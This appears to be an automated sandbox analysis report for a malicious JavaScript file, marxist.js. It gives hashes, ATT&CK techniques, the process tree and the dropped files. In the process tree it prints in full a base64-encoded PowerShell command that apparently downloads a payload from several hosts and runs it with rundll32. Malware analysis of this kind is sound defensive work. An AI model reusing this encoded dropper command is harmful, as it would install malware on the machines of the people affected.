4b16bcc633f22fc8feacc0fcd6bfeba94fd52882bcc9e27b5caf4134ddd3ebff

General

Target

marxist.js
Size

300KB
MD5

51d364bf32eff9357ebc607f1d8e1dfe
SHA1

7ba0aadf16486656966d722bce250dd62ec0b3ac
SHA256

4b16bcc633f22fc8feacc0fcd6bfeba94fd52882bcc9e27b5caf4134ddd3ebff
SHA512

d85bde6483658c89c4c479cd35dd8cee095f8a7a19767a257346213c8bbc948d1a2fcbff43bcca064a578c3995878f0185291123a69188bc610c74ef14f88437
SSDEEP

6144:KQUu1goeypv2UoyYFW7nsDhMox+hfiVB1:KQUkV705+OT

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 5 IoCs

flow	pid	Process
15	4228	powershell.exe
25	4228	powershell.exe
44	4228	powershell.exe
45	4228	powershell.exe
47	4228	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Control Panel\International\Geo\Nation	wscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Control Panel\International\Geo\Nation	wscript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4228	powershell.exe
4228	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4228	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4936 wrote to memory of 2060	4936	wscript.exe	82
PID 4936 wrote to memory of 2060	4936	wscript.exe	82
PID 2060 wrote to memory of 4228	2060	wscript.exe	83
PID 2060 wrote to memory of 4228	2060	wscript.exe	83

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\marxist.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4936
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\ProgramData\Oquassas.js" unintentionalness arthrotome overworld
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:2060
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "JABDAG8AYwBhAG0AaQBuAGUASQBuAG4AaQBuAGcAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAFEAQQBNAFEAQQB1AEEARABJAEEATQBRAEEAMgBBAEMANABBAE0AZwBBADAAQQBEAGsAQQBMAGcAQQB4AEEARABrAEEATwBBAEEAPQBVAFQASwBrAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEANABBAEQAQQBBAEwAZwBBADUAQQBEAFEAQQBMAGcAQQB5AEEARABNAEEATwBBAEEAdQBBAEQASQBBAE0AQQBBAHcAQQBBAD0APQBVAFQASwBrAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAYwBBAE0AdwBBAHUAQQBEAEUAQQBPAFEAQQAzAEEAQwA0AEEATQBRAEEAMABBAEQAZwBBAEwAZwBBAHgAQQBEAGsAQQBOAGcAQQA9AFUAVABLAGsAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBuAEEARwB3AEEAZQBRAEIAdwBBAEgAUQBBAGIAdwBCAG4AQQBIAEkAQQBZAFEAQgB3AEEARwBnAEEAYQBRAEIAagBBAEUAawBBAGIAZwBCAGoAQQBHAGcAQQBaAFEAQgB6AEEAQwA0AEEAWgBnAEIAcABBAEgAUQBBAGIAZwBCAGwAQQBIAE0AQQBjAHcAQQA9ACIAOwAkAEgAYQByAGUAYgB1AHIARABlAGMAbwBuAGMAZQBuAHQAcgBhAHQAZQBkACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABFAEEATgBnAEEAdQBBAEQASQBBAE0AZwBBAHkAQQBDADQAQQBOAFEAQQA1AEEAQwA0AEEATgBnAEEAMQBBAEMAOABBAFcAQQBCAHAAQQBEAE0AQQBMAHcAQQA1AEEAQQA9AD0AbABUAFQARABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAGMAQQBOAEEAQQB1AEEARABJAEEATQB3AEEAMgBBAEMANABBAE0AUQBBADAAQQBEAEkAQQBMAGcAQQAwAEEARABNAEEATAB3AEIARgBBAEcAWQBBAEwAdwBCAFYAQQBGAFUAQQBXAEEAQgB2AEEASABZAEEAbABUAFQARABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHkAQQBEAFUAQQBNAGcAQQB1AEEARABFAEEATwBBAEEAMQBBAEMANABBAE0AZwBBADAAQQBEAFkAQQBMAGcAQQAyAEEARABrAEEATAB3AEIAdQBBAEUAbwBBAE4AQQBBAHYAQQBGAGMAQQBPAEEAQQA9AGwAVABUAEQAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABrAEEATQBnAEEAdQBBAEQARQBBAE0AZwBBAHgAQQBDADQAQQBNAGcAQQB6AEEAQwA0AEEATgBnAEEAeABBAEMAOABBAE8AUQBCAGgAQQBEAFkAQQBOAHcAQgB3AEEARwBVAEEAYwB3AEEAdgBBAEcAbwBBAFQAdwBCAFMAQQBFAHMAQQBTAGcAQgBRAEEARwAwAEEAbABUAFQARABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAGsAQQBNAGcAQQB1AEEARABFAEEATQBnAEEAeABBAEMANABBAE0AZwBBAHoAQQBDADQAQQBNAFEAQQB3AEEARABRAEEATAB3AEIAVQBBAEUAdwBBAFIAdwBCAG8AQQBFADQAQQBaAEEAQQB2AEEARABjAEEAYwBBAEIAMQBBAEQAZwBBAFoAdwBCAEIAQQBBAD0APQBsAFQAVABEAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAUQBBAE8AUQBBAHUAQQBEAEUAQQBOAFEAQQAwAEEAQwA0AEEATQBRAEEAMQBBAEQAawBBAEwAZwBBADUAQQBEAGcAQQBMAHcAQgBRAEEASABBAEEAVgBRAEIAWgBBAEYAZwBBAEwAdwBCADUAQQBGAFkAQQBhAHcAQgBQAEEARgBVAEEAYQB3AEIAQgBBAEUAWQBBAFYAQQBCAGwAQQBBAD0APQAiADsAZgBvAHIAZQBhAGMAaAAgACgAJABHAHIAaQBwAGUAcgAgAGkAbgAgACQASABhAHIAZQBiAHUAcgBEAGUAYwBvAG4AYwBlAG4AdAByAGEAdABlAGQAIAAtAHMAcABsAGkAdAAgACIAbABUAFQARAAiACkAIAB7AHQAcgB5ACAAewAkAEoAYQByAHYAZQB5ACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBqAEEASABrAEEAYgBRAEIAbABBAEcAdwBBAFoAUQBCADAAQQBDADQAQQBjAHcAQgAxAEEARwBNAEEAYQB3AEIAegBBAEEAPQA9AEQAZgBQAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEUAUQBBAGIAdwBCAGwAQQBHAGMAQQBiAEEAQgBwAEEARwBNAEEATABnAEIAMwBBAEcAVQBBAFkAZwBCAGoAQQBHAEUAQQBiAFEAQQA9ACIAOwAkAEIAbwBsAGQAaABlAGEAcgB0AGUAZAAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEcARQBBAFkAZwBCAGgAQQBHAHcAQQBiAHcAQgB1AEEARwBVAEEATABnAEIAagBBAEcAOABBAGIAZwBCAHoAQQBIAFEAQQBjAGcAQgAxAEEARwBNAEEAZABBAEIAcABBAEcAOABBAGIAZwBBAD0AVQB3AHYAZABhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBHAHMAQQBaAFEAQgBzAEEARwB3AEEAWgBRAEIAMABBAEUARQBBAFoAdwBCAGwAQQBIAFUAQQBjAHcAQgBwAEEARwBNAEEATABnAEIAagBBAEcAOABBAGIAUQBBAD0AIgA7ACQAcAByAG8AZgBpAHQAbABlAHMAcwBuAGUAcwBzAFAAYQByAGEAdABoAHkAcgBvAGkAZABlAGMAdABvAG0AaQB6AGkAbgBnACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB5AEEARABVAEEATgBRAEEAdQBBAEQAVQBBAE4AQQBBAHUAQQBEAEUAQQBPAEEAQQB6AEEAQwA0AEEATQBRAEEAeQBBAEQAQQBBACIAOwAkAE8AdgBlAHIAZQBuAHYAaQBvAHUAcwBuAGUAcwBzAEwAYQBuAGkAcwB0AGEAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAG4AaQBjAG8AZABlAC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABHAHIAaQBwAGUAcgApACkAOwBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAkAE8AdgBlAHIAZQBuAHYAaQBvAHUAcwBuAGUAcwBzAEwAYQBuAGkAcwB0AGEAZQAgAC0ATwAgACQAZQBuAHYAOgBQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABVAG4AcAByAG8AdgBvAGMAYQB0AGkAdgBlAGwAeQAuAFUAbgBhAGwAaQBtAGUAbgB0AGEAdABpAHYAZQA7ACQAYwBhAHIAYgBpAG4AZQBlAHIATQBhAG4AdABpAGMAbwByAGEAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCAG4AQQBHAFUAQQBiAEEAQgBrAEEARwBVAEEAYwB3AEIAdwBBAEgASQBBAGQAUQBCAHUAQQBHAGMAQQBMAGcAQgAwAEEARwBVAEEAWQB3AEIAbwBBAEEAPQA9AGMAawBTAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQAUQBBAE4AZwBBAHUAQQBEAEUAQQBNAEEAQQB6AEEAQwA0AEEATwBBAEEAMQBBAEMANABBAE4AdwBBAHkAQQBBAD0APQAiADsAJABjAG8AbgBzAG8AbABhAHQAbwByAGkAbgBlAHMAcwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEcAYwBBAFkAUQBCAHUAQQBHAG8AQQBZAFEAQgB6AEEARgBJAEEAWgBRAEIAegBBAEcARQBBAGIAQQBCAGwAQQBIAE0AQQBMAGcAQgAzAEEARwA4AEEAYwBnAEIAcwBBAEcAUQBBAFMAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARwBjAEEAWQBRAEIAcABBAEcANABBAFkAdwBCAHYAQQBIAEEAQQBaAFEAQgBEAEEARwBnAEEAYgB3AEIAdQBBAEcAUQBBAGMAZwBCAHAAQQBHADgAQQBiAFEAQgBoAEEAQwA0AEEAWQB3AEIAdgBBAEcAUQBBAFoAUQBCAHoAQQBBAD0APQBTAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAbQBBAEcAdwBBAGQAUQBCADIAQQBHAGsAQQBZAFEAQgAwAEEARwBrAEEAYgB3AEIAdQBBAEMANABBAGEAUQBCAHUAQQBHAHMAQQBTAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQASQBBAE0AZwBBADEAQQBDADQAQQBNAFEAQQAyAEEARABBAEEATABnAEEAeQBBAEQAQQBBAE4AUQBBAHUAQQBEAEkAQQBNAGcAQQB5AEEAQQA9AD0AIgA7AGkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAVQBuAHAAcgBvAHYAbwBjAGEAdABpAHYAZQBsAHkALgBVAG4AYQBsAGkAbQBlAG4AdABhAHQAaQB2AGUAKQAuAEwAZQBuAGcAdABoACAALQBnAGUAIAAyADcANwA3ADIAOAApAHsAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AZQBuAGMAbwBkAGUAZABjAG8AbQBtAGEAbgBkACAAIgBjAHcAQgAwAEEARwBFAEEAYwBnAEIAMABBAEMAQQBBAGMAZwBCADEAQQBHADQAQQBaAEEAQgBzAEEARwB3AEEATQB3AEEAeQBBAEMAQQBBAEoAQQBCAGwAQQBHADQAQQBkAGcAQQA2AEEARgBBAEEAYwBnAEIAdgBBAEcAYwBBAGMAZwBCAGgAQQBHADAAQQBSAEEAQgBoAEEASABRAEEAWQBRAEIAYwBBAEYAVQBBAGIAZwBCAHcAQQBIAEkAQQBiAHcAQgAyAEEARwA4AEEAWQB3AEIAaABBAEgAUQBBAGEAUQBCADIAQQBHAFUAQQBiAEEAQgA1AEEAQwA0AEEAVgBRAEIAdQBBAEcARQBBAGIAQQBCAHAAQQBHADAAQQBaAFEAQgB1AEEASABRAEEAWQBRAEIAMABBAEcAawBBAGQAZwBCAGwAQQBDAHcAQQBZAGcAQgBwAEEARwA0AEEAWgBBAEEANwBBAEEAPQA9ACIAOwAkAEMAZQBuAHQAaQBuAGUAbAAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQASQBBAE0AUQBBAHkAQQBDADQAQQBNAFEAQQB4AEEARABJAEEATABnAEEAeQBBAEQAVQBBAE0AZwBBAHUAQQBEAEUAQQBOAFEAQQB6AEEAQQA9AD0ATwBPAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQASQBBAE4AdwBBAHUAQQBEAEUAQQBNAEEAQQB4AEEAQwA0AEEATQBRAEEAeQBBAEQASQBBAEwAZwBBAHgAQQBEAGcAQQBOAGcAQQA9ACIAOwAkAGkAbQBiAGkAYgBpAHQAbwByAHkAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHkAQQBEAFEAQQBOAGcAQQB1AEEARABFAEEATQBnAEEAMgBBAEMANABBAE0AUQBBADUAQQBEAFEAQQBMAGcAQQB4AEEARABrAEEATgB3AEEAPQBaAFMASABhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBHADAAQQBaAFEAQgBzAEEARwA4AEEAWgBBAEIAeQBBAEcARQBBAGIAUQBCAGwAQQBFAEUAQQBkAEEAQgAwAEEARwBVAEEAYgBnAEIAawBBAEcAVQBBAGMAZwBBAHUAQQBIAFkAQQBaAFEAQgAwAEEAQQA9AD0AWgBTAEgAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBqAEEARwBnAEEAYwBnAEIAdgBBAEcAMABBAFoAUQBCAHcAQQBHAHcAQQBZAFEAQgAwAEEARwBVAEEAWgBBAEIAVABBAEgAVQBBAGMAQQBCAHcAQQBIAEkAQQBaAFEAQgB6AEEASABNAEEAWgBRAEIAawBBAEcAdwBBAGUAUQBBAHUAQQBIAEEAQQBhAFEAQgA2AEEASABvAEEAWQBRAEEAPQBaAFMASABhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBNAFEAQQAzAEEAQwA0AEEATQBRAEEAdwBBAEQAawBBAEwAZwBBAHkAQQBEAEUAQQBNAGcAQQB1AEEARABFAEEATwBRAEEANQBBAEEAPQA9ACIAOwBiAHIAZQBhAGsAOwB9AH0AIABjAGEAdABjAGgAIAB7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADQAOwB9AH0A"
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4228

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\Oquassas.js

Filesize
300KB

MD5
51d364bf32eff9357ebc607f1d8e1dfe

SHA1
7ba0aadf16486656966d722bce250dd62ec0b3ac

SHA256
4b16bcc633f22fc8feacc0fcd6bfeba94fd52882bcc9e27b5caf4134ddd3ebff

SHA512
d85bde6483658c89c4c479cd35dd8cee095f8a7a19767a257346213c8bbc948d1a2fcbff43bcca064a578c3995878f0185291123a69188bc610c74ef14f88437

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lekrvrrv.gej.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4228-135-0x00000280C62F0000-0x00000280C6300000-memory.dmp

Filesize
64KB

Download
memory/4228-136-0x00000280C62F0000-0x00000280C6300000-memory.dmp

Filesize
64KB

Download
memory/4228-137-0x00000280C6220000-0x00000280C6242000-memory.dmp

Filesize
136KB

Download
memory/4228-147-0x00000280C62F0000-0x00000280C6300000-memory.dmp

Filesize
64KB

Download
memory/4228-148-0x00000280C62F0000-0x00000280C6300000-memory.dmp

Filesize
64KB

Download
memory/4228-149-0x00000280C62F0000-0x00000280C6300000-memory.dmp

Filesize
64KB

Download
memory/4228-150-0x00000280C62F0000-0x00000280C6300000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing